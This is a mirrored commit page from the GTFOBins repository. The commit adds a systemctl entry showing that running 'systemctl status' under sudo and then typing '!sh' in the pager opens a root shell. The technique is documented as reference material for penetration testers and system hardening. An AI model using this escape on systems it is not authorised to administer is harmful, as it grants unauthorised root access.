mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-09-20 07:09:26 +02:00
Update systemctl.md
How to obtain a root shell when you can run systemctl status with sudo
This commit is contained in:
@@ -29,4 +29,7 @@ functions:
|
||||
code: |
|
||||
sudo systemctl
|
||||
!sh
|
||||
code: |
|
||||
sudo /usr/bin/systemctl status any.service
|
||||
!sh
|
||||
---
|
||||
|
Reference in New Issue
Block a user